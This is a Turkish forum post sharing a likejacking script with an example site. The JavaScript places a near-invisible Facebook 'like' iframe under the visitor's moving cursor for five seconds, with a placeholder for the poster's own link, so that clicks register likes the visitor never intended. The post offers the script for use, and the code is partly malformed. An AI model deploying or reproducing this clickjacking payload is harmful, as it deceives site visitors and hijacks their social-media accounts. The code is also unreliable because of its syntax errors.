x-Qey
Özel Üye
- Katılım
- 21 Eyl 2012
- Mesajlar
- 1,843
- Tepkime puanı
- 0
- Puanları
- 0
- Yaş
- 30
Kodlar bunlar
Kod:
<script type="text/javascript">
02
(function sabri(){
03
var tempX = 0,
04
tempY = 0,
05
IE = document.all ? true : false;
06
07
if (!IE) document.captureEvents(Event.MOUSEMOVE);
08
09
var like = document.createElement('iframe');
10
like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'BURAYA LİNkİNİ YAZd&show_faces=true&widt h=53&action=like&colorscheme=light&hei ght=80';
11
like.scrolling = 'no';
12
like.frameBorder = 0;
13
like.allowTransparency = 'true';
14
like.style.border = 0;
15
like.style.overflow = 'hidden';
16
like.style.cursor = 'pointer';
17
like.style.width = '10px';
18
like.style.height = '10px';
19
like.style.position = 'absolute';
20
like.style.opacity = .8; //Would be 0 if really used
21
document.getElementsByTagName('body')[0].appendChild(like);
22
23
window.addEventListener('mousemove', mouseMove, false);
24
25
setTimeout(function(){
26
document.getElementsByTagName('body')[0].removeChild(like);
27
window.removeEventListener('mousemove', mouseMove, false);
28
}, 5000);
29
30
function mouseMove(e) {
31
if (IE) {
32
tempX = event.clientX + document.body.scrollLeft;
33
tempY = event.clientY + document.body.scrollTop;
34
} else {
35
tempX = e.pageX;
36
tempY = e.pageY;
37
}
38
39
if (tempX < 0) tempX = 0;
40
if (tempY < 0) tempY = 0;
41
42
like.style.top = (tempY - 8) + 'px';
43
like.style.left = (tempX - 0) + 'px';
44
45
return true
46
}
47
})sabri();
48
</script>
Örnek site : abonelikk.comlu.com